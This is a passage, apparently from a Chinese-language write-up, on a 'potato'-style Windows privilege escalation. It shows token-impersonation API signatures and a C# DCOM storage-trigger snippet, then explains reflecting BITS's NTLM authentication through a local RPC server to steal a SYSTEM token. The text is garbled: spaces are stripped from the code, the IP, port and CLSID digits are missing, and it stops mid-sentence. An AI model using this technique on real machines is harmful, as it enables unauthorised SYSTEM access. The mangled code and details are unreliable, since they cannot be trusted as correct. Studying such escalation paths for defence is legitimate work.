SeImpersonatePrivilege
BOOLCreateProcessWithTokenW(HANDLEhToken,DWORDdwLogonFlags,LPCWSTRlpApplicationName,LPWSTRlpCommandLine,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCWSTRlpCurrentDirectory,LPSTARTUPINFOWlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);
SeAssignPrimaryTokenPrivilege
BOOLCreateProcessAsUserW(HANDLEhToken,LPCWSTRlpApplicationName,LPWSTRlpCommandLine,LPSECURITY_ATTRIBUTESlpProcessAttributes,LPSECURITY_ATTRIBUTESlpThreadAttributes,BOOLbInheritHandles,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCWSTRlpCurrentDirectory,LPSTARTUPINFOWlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);DCOM
Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero,true,outILockByteslockBytes);Ole32.StgCreateDocfileOnILockBytes(lockBytes,Ole32.STGM.CREATE
Ole32.STGM.READWRITE
Ole32.STGM.SHARE_EXCLUSIVE,0,outIStoragestorage);StorageTriggerstorageTrigger=newStorageTrigger(storage,string.Format(".0.0.1[{0}]",),TowerProtocol.EPM_PROTOCOL_TCP);Ole32.MULTI_QI[]qis=newOle32.MULTI_QI[1];qis[0].pIID=Ole32.IID_IUnknownPtr;Ole32.CoGetInstanceFromIStorage(null,refclsId,null,Ole32.CLSCTX.CLSCTX_LOCAL_SERVER,storageTrigger,1,qis);
这段代码是我告诉COM我要在ip为.0.0.1port为的RPC服务器加载BITS对象(d34b-80a1--83b6-b)
当创建对象时COM客户端会以SYSTEAM向我们上面自定义的RPC服务器进行请求
下面的图是调用流程
在协商之前我们需要调用AcquireCredentialsHandle函数来获取我们需要的CredHandle结构
接下来调用创建远程COM对象COM客户端回向我们发起第一次请求也就是Negotiate协商(ntlm阶段1)然后我们调用AcceptSecurityContext函数获取质询消息(ntlm阶段2)
然后我们连接RPC将客户端的Negotiate协商(ntlm阶段1)中继到RPC
要成功让客户端认证我们还需要替换把rpc的质询消息(阶段2)的NTLMSecureServiceProvider替换成我们调用AcceptSecurityContext返回的质询消息(阶段2)(这里其实不用中继到rpc可以自行实现rpc协议不过那样就有点太麻烦了)
当客户端进行身份认证(ntlm阶段3)消息响应时我们将阶段3的请求再次使用AcceptSecurityContext函数完成最终认证并调用QuerySecurityContextToken函数获取Token完成提权获取token流程
WimRM在使用Activator创建Com对象(BITS)的时候Winrm客户端回向本机的端口发起